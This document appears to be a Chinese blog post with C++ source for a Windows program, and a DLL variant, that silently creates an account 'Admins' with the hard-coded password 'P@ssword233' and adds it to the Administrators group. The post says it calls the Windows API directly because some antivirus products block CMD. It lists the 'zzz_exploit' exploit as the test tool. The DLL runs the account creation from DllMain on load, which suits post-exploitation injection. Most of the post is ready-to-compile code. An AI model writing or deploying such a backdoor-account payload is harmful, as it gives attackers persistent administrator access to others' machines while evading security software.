【C++】创建用户,并添加至管理组

摘要: 因有些需求,需要本地/远程添加用户。所以直接选择Windows API函数进行编写,因为部分杀软限制了CMD

1
2
3
4
5
6
程序名称:添加系统用户.exe(也可创建dll)
编译平台:VS2015 C# (.NET Framework v4.0)、Windows 7 Ultimate x64
编写语言:C++ (C#存在版本限制)
测试条件:以管理员运行
测试工具:zzz_exploit or other
测试平台:xp-x64、win2003-x86、win7-x64、win2008-x64、win10-x64(火绒) -->均可成功添加

0x00 思路及原理

一)编程思路

使用NetUserAdd函数添加普通权限的用户并指定级别。

1
2
3
4
5
6
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
LPCWSTR servername, // 指向常量字符串的指针,该字符串是要指定远程服务器的DNS或NetBIOS名称来执行该函数。如果此参数为NULL,则使用本地计算机
DWORD level, // 指定数据的信息级别。
LPBYTE buf, // 指向指定数据的缓冲区的指针。此数据的格式取决于level参数的值。
LPDWORD parm_err
);

使用NetLocalGroupAddMembers函数将现有用户账号添加到现有本地组。

1
2
3
4
5
6
7
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
LPCWSTR servername, // 指向常量字符串的指针,该字符串是要指定远程服务器的DNS或NetBIOS名称来执行该函数。如果此参数为NULL,则使用本地计算机
LPCWSTR groupname, // 指向常量字符串的指针,该字符串指定将向其添加指定用户或全局组的本地组的名称。
DWORD level, // 指定数据的信息级别。
LPBYTE buf, // 指向包含新本地组成员数据的缓冲区的指针。此数据的格式取决于level参数的值。
DWORD totalentries // 指定buf参数指向的缓冲区中的条目数。
);

二)编写思路

  • 定义USER_INFO_1 结构体
    该结构包含用户的账户信息,包括账户名,密码数据,权限级别和路径到用户的主目录。
  • 调用NetUserAdd添加普通权限账户
  • 调用NetLocalGroupAddMembers添加到管理员组

0x01 代码

一)exe生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// UserInfoAdd.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib,"netapi32")

#include <stdio.h>
#include <windows.h>
#include <lm.h>


int wmain(int argc, wchar_t *argv[])
{
// 定义USER_INFO_1结构体
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;

UserInfo.usri1_name = L"Admins"; // 账户
UserInfo.usri1_password = L"P@ssword233"; // 密码
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;

//添加名为Admins的用户,密码为P@ssword233
NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);

// 添加用户到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = UserInfo.usri1_name;
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

return 0;
}

二)dll生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib,"netapi32")

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <iostream>
#include <lm.h>
#include <stdlib.h>
#include <atlimage.h>


int NetUserAdd()
{
....
}

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpvRevered) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
NetUserAdd();
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

在编译代码的时候,选择MT,所有的依赖文件都会编进去。
blog_2018-11-15_11-35-4320

0x02 备注

1
2
3
4
5
6
支持最低客户端:	Windows 2000 Professional [仅desktop apps]
支持最低服务器: Windows 2000 Server [仅desktop apps]
目标平台: Windows
Header: lmaccess.h (include Lm.h)
Library: Netapi32.lib
DLL: Netapi32.dll
!坚持技术分享,您的支持将鼓励我继续创作!